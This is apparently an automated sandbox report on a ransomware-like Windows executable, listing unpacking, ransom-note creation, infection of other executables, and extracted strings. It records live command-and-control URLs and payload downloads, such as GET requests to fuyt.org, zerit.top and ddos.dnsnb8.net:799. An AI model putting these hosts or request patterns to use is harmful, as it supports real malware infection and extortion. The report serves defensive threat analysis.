Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419E70
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49731 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3212027046.000000000310D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kunahicahe\37\tumuzuzit41 kitijab_hupi\xigu.pdb source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\w source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263020682.0000000003163000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3262525405.000000000315A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261392632.0000000003157000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000310A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000318F000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\*aibc source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\o\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3278085385.000000000360B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\@h source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.00000000030F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\4C source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\Z source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\! source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\= source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000310A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\PC source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\~ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3212027046.000000000310D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\\a\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3278085385.000000000360B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctFE34.tmp.9.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B529E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00B529E2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00410160
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_0040F730
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	3_2_0040FB98
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	9_2_0040F730
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	9_2_00410160
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	9_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Code function: 1_2_00B52B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00B52B8C

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://fuyt.org/test1/get.php

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 799

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Code function: 1_2_00B51099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

1_2_00B51099

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zerit.top
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
